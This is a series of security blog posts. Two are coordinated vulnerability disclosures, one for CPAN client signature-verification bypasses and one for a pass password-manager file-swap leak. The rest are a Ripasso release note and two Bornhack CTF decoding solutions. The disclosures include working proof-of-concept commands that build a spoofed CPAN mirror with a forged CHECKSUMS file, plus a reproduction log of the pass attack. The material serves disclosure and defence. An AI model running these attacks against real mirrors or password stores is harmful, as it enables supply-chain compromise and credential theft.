Signature Verification Vulnerabilities in CPAN.pm, cpanminus and CPAN::Checksums

23/11/21 — sgo

CPAN is a repository of over 200,000 modules for the Perl programming language. PAUSE is the “[Perl programming] Authors Upload Server”.

To install Perl modules from CPAN, users can use the cpan client provided by CPAN.pm included in the Perl core, or the cpanm client provided by cpanminus.

Both clients have optional support for verifying that CHECKSUMS files have a valid PAUSE PGP signature before checksums are checked and modules are installed.

It was found that cpan and cpanm are vulnerable to a signature verification bypass. Additionally, CPAN::Checksums (used by PAUSE) does not uniquely identify packages in the signed CHECKSUMS file, enabling a supply chain attack.

  • [CVE-2020-16154] App::cpanminus 1.7044 allows Signature Verification Bypass
  • [CVE-2020-16155] CPAN::Checksums 2.12 does not uniquely define signed data.
  • [CVE-2020-16156] CPAN 2.28 allows Signature Verification Bypass

For more information see Addressing CPAN vulnerabilities related to checksums by Neil Bowers.

Mitigation

Users should ensure that their CPAN client is configured to use a trusted TLS (https) protected mirror as signature verification can be bypassed, and signed CHECKSUMS cannot be relied upon for security.

Signature Verification Bypass

[CVE-2020-16154, CVE-2020-16156]

An attacker can prepend checksums for modified packages to the beginning of CHECKSUMS files, before the cleartext PGP headers. This makes the Module::Signature::_verify() checks in both cpan and cpanm pass.

Without the sigtext and plaintext arguments to _verify(), the _compare() check is bypassed. This results in _verify() only checking that valid signed cleartext is present somewhere in the file.

Proof of Concept

First, Module::Signature needs to be installed. Then prepare a malicious CPAN mirror containing a modified package.

In this example, we spoofed the popular Mojolicious package to illustrate:

mkdir -p cpan/{authors,modules}
wget -O cpan/authors/01mailrc.txt.gz https://cpan.metacpan.org/authors/01mailrc.txt.gz
wget -O cpan/modules/02packages.details.txt.gz https://cpan.metacpan.org/modules/02packages.details.txt.gz
wget -O cpan/modules/03modlist.data.gz https://cpan.metacpan.org/modules/03modlist.data.gz
mkdir -p cpan/authors/id/S/SR/SRI
pushd cpan/authors/id/S/SR/SRI
wget -O CHECKSUMS_ORIG https://cpan.metacpan.org/authors/id/S/SR/SRI/CHECKSUMS
module=Mojolicious-8.56
mkdir $module
echo 'print "### INSERT MALICIOUS CODE HERE ###\n";' > $module/Makefile.PL
tar czf $module.tar.gz $module
sha256=$(sha256sum $module.tar.gz | cut -d' ' -f1)
(echo -en "\$chksum = { '$module.tar.gz' => { sha256 => '$sha256'} };\n__END__\n"; cat CHECKSUMS_ORIG) > CHECKSUMS
popd
cd cpan
# Then serve the repo locally on port 8000
busybox httpd -f -p 8000

CPAN.pm

Prepare environment:

  • Install the required signature checker extension
  • Add http://localhost:8000 to your urllist
  • enable check_sigs.
$ cpan Module::Signature
$ cat <<EOF |cpan
o conf check_sigs 1
o conf urllist unshift http://localhost:8000
o conf commit
EOF

Demonstrate unsigned code execution:

$ cpan SRI/Mojolicious-8.56.tar.gz
[..]
Signature for /home/user/.cpan/sources/authors/id/S/SR/SRI/CHECKSUMS ok
Checksum for /home/user/.cpan/sources/authors/id/S/SR/SRI/Mojolicious-8.56.tar.gz ok
[..]
Configuring S/SR/SRI/Mojolicious-8.56.tar.gz with Makefile.PL
### INSERT MALICIOUS CODE HERE ###
No 'Makefile' created  SRI/Mojolicious-8.56.tar.gz
  /nix/store/kfrlhcjp3hp7vs83y701xzd542k8sm7k-perl-5.30.3/bin/perl Makefile.PL -- NOT OK

App::cpanminus

$ cpanm --local-lib=$(mktemp -d) -v --verify --mirror http://localhost:8000/ Mojolicious@8.56
[..]
Verifying the signature of CHECKSUMS
Verified OK!
Verifying the SHA1 for Mojolicious-8.56.tar.gz
Checksum for Mojolicious-8.56.tar.gz: Verified!
Unpacking Mojolicious-8.56.tar.gz
[..]
Running Makefile.PL
Configuring Mojolicious-8.56 ... ### INSERT MALICIOUS CODE HERE ###
N/A
! Configure failed for Mojolicious-8.56. See /home/user/.cpanm/work/1596121570.28866/build.log for details.

CPAN::Checksums does not uniquely define signed data

[CVE-2020-16155]

CPAN::Checksums generates CHECKSUMS recursively for each directory under the author/ directory structure, and the file path for the packages in the manifest doesn’t contain an author handle (filenames are only unique per author).

An attacker with PAUSE access can trick PAUSE into generating a valid CHECKSUMS file for another authors package, allowing a malicious mirror or network attacker to serve a modified package to a target along with a valid but malicious CHECKSUMS file.

Proof of Concept

A CHECKSUMS file impersonating the already published package Acme::Study::Perl 0.0.1 has been generated on pause.cpan.org and signed by the PAUSE PGP key.

0&&<<''; # this PGP-signed message is also valid perl
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

# CHECKSUMS file written on Fri Jul 24 15:59:10 2020 GMT by CPAN::Checksums (v2.12)
$cksum = {
  'Acme-Study-Perl-0.0.1.tar.gz' => {
    'md5' => 'd474ea9bf1861d696f05fbfc9e845f77',
    'md5-ungz' => '9614de46e57904130b6f75c0fe8fdd22',
    'mtime' => '2020-07-24',
    'sha256' => 'f239031b672604dafe456909ba3121f0c002e135bbc394fafd072397ecfadc99',
    'sha256-ungz' => 'cef212349a6beb0622193e22d92a21dc9dd7bb2f6d7f79ac0d863188efef0282',
    'size' => 211
  },
  'test.txt' => {
    'md5' => '5150d35ce48639c7c78cffe84891faab',
    'mtime' => '2020-07-24',
    'sha256' => '5d0d196ae349adf45246252d303885db3adfa723139ad5147fe7a767ded1f5b4',
    'size' => 51
  }
};
__END__
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.14 (GNU/Linux)

iEYEARECAAYFAl8bBU4ACgkQMo2oZ0UPiewySQCfd00WKH3QfVO/GjcYvDosimBs
44AAoJZGxbOludHf6JYItrNOSBq1BHVA
=6gsJ
-----END PGP SIGNATURE-----

Timeline

  • 2020-07-08: The Perl Security team was notified
  • 2020-07-15: The module authors were notified
  • 2020-07-30: CVE numbers assigned
  • 2021-11-18: Publication agreed for 23 nov
  • 2021-11-23: Coordinated disclosure

References

Acknowledgements

Thanks to Andreas König, Neil Bowers, Hamish Coleman, Alexander Kjäll and Salve J. Nilsen.

Authored by Stig Palmquist

CVE-2020-28086 information leakage through third party service in pass

18/09/21 — capitol

pass-passwordstore

pass is a password manager that encrypts your or your team’s passwords with GPG and optionally stores them in a Git repository.

Each password is encrypted in its own file, often named after the service and username. For example the password for the user richard on the service Spotify might be named spotify/richard.gpg.

Trust Boundaries

It’s possible to configure your usage of pass in many ways, but if you are using it in a team then this is a common setup:

Each member has a local machine with a GPG configuration that trusts all other members of the team.

The password store is in Git, and there is a central server to which all team members push and pull.

Here we have three zones:

  • Your own machine
  • The central server
  • The other team members

Any operator in one of the zones shouldn’t be able to cross a zone barrier and gain information or resources from another zone.

The Attack

If an attacker controls the following:

  • The central Git server or one of the other members’ machines
  • One of the services that have a password already in the password store

Then they can do the following:

Rename one of the password files in the Git repository to the password file of the controlled service.

pass doesn’t correctly verify that the content of file matches the filename, so a user might be tricked to decrypting the wrong password and send that to a service that the attacker controls.

Example

Given this setup:

  • A user Bob with a local installation of pass
  • A git server where the passwords are stored
  • One password to bob@server1.example.com
  • One password to bob@server2.example.com
  • An attacker called Mallory

If Mallory takes control over the central Git server and server2.example.com then he could rename the file named bob@server1.example.com.gpg to bob@server2.example.com and commit it.

The next time that Bob then does a git pull and accesses server2.example.com his password to server1.example.com will be exposed.

Possible Mitigations

GPG supports storing the filename in the encryption packet. This can be set with the --set-filename flag when storing a password and needs to be verified by the pass software before decryption happens.

But the filename field in GPG have a couple of problems. It’s limited to 255 bytes and the specification doesn’t specify what encoding that should be used. This might make it vulnerable to further attacks due to encoding confusion.

Another solution would be to use a signature notation packet in GPG. It has a length of up to 64 KB. It can also be set on the gpg command line:

echo 1 |
    gpg -se --sig-notation \!filename@pass=/path/to/file.gpg -r alexander.kjall@gmail.com |
    gpg -d --verify-options show-notations --known-notation \!filename@pass

Patches

A crude attempt at writing a patch for this vulnerability is in these two patches, adding signature and verify signature.

The patches tries to mitigate the vulnerability by applying a signature notation, but they don’t include any migration strategy for existing password stores.

Reproduction Steps

Here is a log of the steps to reproduce the vulnerability:

capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass init 0x1D108E6C07CBC406
Password store initialized for 0x1D108E6C07CBC406
capitol@tool:/tmp$ cd store1/
capitol@tool:/tmp/store1$ git init
Initialized empty Git repository in /tmp/store1/.git/
capitol@tool:/tmp/store1$ cd ..
capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass generate bob@server1.example.com
[master (root-commit) 208e574] Add generated password for bob@server1.example.com.
 1 file changed, 1 insertion(+)
 create mode 100644 bob@server1.example.com.gpg
The generated password for bob@server1.example.com is:
7A\ZOg(|`L.G0{Dce^a~SPiC~
capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass generate bob@server2.example.com
[master 4e43e37] Add generated password for bob@server2.example.com.
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 bob@server2.example.com.gpg
The generated password for bob@server2.example.com is:
"}zC}4d[wD%N$<7D@WO@2QA-f
capitol@tool:/tmp$ cd store1/
capitol@tool:/tmp/store1$ git add .gpg-id
capitol@tool:/tmp/store1$ git commit -m ".gpg-id"
[master 29e4c37] .gpg-id
 1 file changed, 1 insertion(+)
 create mode 100644 .gpg-id
capitol@tool:/tmp/store1$ cd /tmp/server/
capitol@tool:/tmp/server$ git init --bare
Initialized empty Git repository in /tmp/server/
capitol@tool:/tmp/server$ cd /tmp/store1/
capitol@tool:/tmp/store1$ git push --set-upstream /tmp/server/ master
Enumerating objects: 9, done.
Counting objects: 100% (9/9), done.
Delta compression using up to 4 threads
Compressing objects: 100% (8/8), done.
Writing objects: 100% (9/9), 1.56 KiB | 798.00 KiB/s, done.
Total 9 (delta 2), reused 0 (delta 0)
To /tmp/server/
 * [new branch]      master -> master
Branch 'master' set up to track remote branch 'master' from '/tmp/server/'.
capitol@tool:/tmp/store1$ cd ..
capitol@tool:/tmp$ git clone /tmp/server/ store2
Cloning into 'store2'...
done.
capitol@tool:/tmp$ cd store2/
capitol@tool:/tmp/store2$ cp bob@server1.example.com.gpg bob@server2.example.com.gpg
capitol@tool:/tmp/store2$ git add .
capitol@tool:/tmp/store2$ git commit -m "this is the attack"
[master d239dd5] this is the attack
 1 file changed, 0 insertions(+), 0 deletions(-)
capitol@tool:/tmp/store2$ git push
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (2/2), 406 bytes | 406.00 KiB/s, done.
Total 2 (delta 1), reused 0 (delta 0)
To /tmp/server/
   29e4c37..d239dd5  master -> master
capitol@tool:/tmp/store2$ cd /tmp/store1/
capitol@tool:/tmp/store1$ git pull
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 2 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (2/2), 386 bytes | 386.00 KiB/s, done.
From /tmp/server
 * branch            master     -> FETCH_HEAD
Updating 29e4c37..d239dd5
Fast-forward
 bob@server2.example.com.gpg | Bin 173 -> 173 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
capitol@tool:/tmp/store1$ PASSWORD_STORE_DIR=/tmp/store1 pass show bob@server2.example.com
7A\ZOg(|`L.G0{Dce^a~SPiC~

The password that is shown on the last line is the password associated with bob@server1.example.com.

Timeline

  • 2020-10-22 Email sent to main developer of pass
  • 2020-10-24 CVE requested
  • 2020-10-24 Email sent to main developer of QtPass
  • 2020-10-24 Email sent to main developer of gopass, the attack is outside of gopass stated security policy.
  • 2020-10-24 Email sent to main developer of upass, upass calls out to pass in a subshell and is therefore not directly affected.
  • 2020-10-24 Email sent to main developer of pass-winmenu
  • 2020-11-13 Email with first draft of a patch sent
  • 2020-12-07 CVE number assigned

Release of Ripasso version 0.5.0

17/10/20 — capitol

ripasso-cursive

After nine long months of development effort, we are proud to present ripasso version 0.5.0.

New Features

Support multiple password stores

We have implemented support for configuration files. You can now switch between different password directories from the menu.

directory-menu

Fuzzing of our dependencies

We did a small project where we went over our dependencies with a fuzzer, bugs found:

Some of them have been closed, some are in optional dependencies that we now have excluded and some are in a package that we want to start using in the future.

Password History View

If you press ctrl-H on a password entry, it will bring up the git history of that file.

password-history

Copy password file name

Copy the file name with ctrl-U, this can be useful if you have your username as the filename.

Bugs Fixed

Passwords in initial commit causes error

If the initial git commit contained files, that caused errors as ripasso didn’t consider that snapshot correctly.

Not assume that git branch should be named master

A hardcoding of the branch name was removed.

Credits

  • Joakim Lundborg - Developer
  • Alexander Kjäll - Developer
  • Silje Enge Kristensen - Norwegian bokmål translation
  • Camille Victor Prunier - French translation
  • David Plassmann - German translation

Also a big thanks to everyone who contributed with bug reports and patches.

Solution to Bornhack 2020 CTF challenge nc333

16/08/20 — capitol

tent_village

Name:

nc333

Category:

crypto

Points:

50

Writeup

This was the second challenge in the crypto category, this time with a lot of different encodings.

We got this file that contained a large number of encoded strings nested inside each other like a russian doll.

We wrote a small rust program to handle it:

use std::fs::File;
use std::io::prelude::*;

use base64::decode;
use crate::Commands::{Base64, Reverse, Rot13, Hex};

enum Commands {
    Base64,
    Reverse,
    Rot13,
    Hex
}

impl Commands {
    fn from(s: &str) -> Option<Commands> {
        if s.eq("base64") {
            return Some(Base64);
        }
        if s.eq("reverse") {
            return Some(Reverse);
        }
        if s.eq("rot13") {
            return Some(Rot13);
        }
        if s.eq("hex") {
            return Some(Hex)
        }

        eprintln!("unknown command: {}", s);
        None
    }
}

fn split_once(in_string: &str) -> (&str, &str) {
    let mut splitter = in_string.splitn(2, ':');
    let first = splitter.next().unwrap();
    let second = splitter.next().unwrap();
    (first, second)
}

fn rot(c :&char) -> char {
    if c.is_ascii_alphabetic() {
        let a = if c.is_ascii_lowercase() {
            b'a'
        } else {
            b'A'
        };
        let mut utf8 = [0u8; 1];
        c.encode_utf8(&mut utf8);
        let rot = (((utf8[0] - a) + 13) % 26) + a;
        std::char::from_u32(rot as u32).unwrap()
    } else {
        *c
    }
}

fn rot13(s: &String) -> String {
    s.chars().map(|c| rot(&c)).collect()
}

fn main() -> std::io::Result<()> {
    let mut file = File::open("challenge")?;
    let mut contents = String::new();
    file.read_to_string(&mut contents)?;

    while !contents.starts_with("BHCTF") {
        let (command, text) = split_once(&contents);
        let command = Commands::from(command).unwrap();
        let decoded = match command {
            Base64 => {
                let t = &decode(text).unwrap();
                std::str::from_utf8(t).unwrap().to_string()
            },
            Reverse => text.chars().rev().collect::<String>(),
            Rot13 => rot13(&text.to_string()),
            Hex => {
                let t = hex::decode(text).unwrap();
                std::str::from_utf8(&t).unwrap().to_string()
            }
        };
        contents = decoded;
    }
    println!("{}", contents);
    Ok(())
}

Flag was BHCTF{b4se64_is_n0t_crypt0}.

Solution to Bornhack 2020 CTF challenge nc3

16/08/20 — capitol

tent_island

Name:

nc3

Category:

crypto

Points:

25

Writeup

This was the first challenge in the crypto category, just a couple of different encodings.

Challenge text:

base64:cmV2ZXJzZTo5UldZaTkxYno5RmR1TlhZMzlGZGhoR2Q3WkVWRGhrUTo0NmVzYWI=

We solved it with bash:

#!/bin/bash

cat nc3 | awk '{ print(substr($0, 8, length($0)))}'|base64 -d |\
    awk '{ print(substr($0, 9, length($0)))}'|rev|\
    awk '{ print(substr($0, 8, length($0)))}'|base64 -d
echo

Flag was BHCTF{that_wasnt_so_bad}.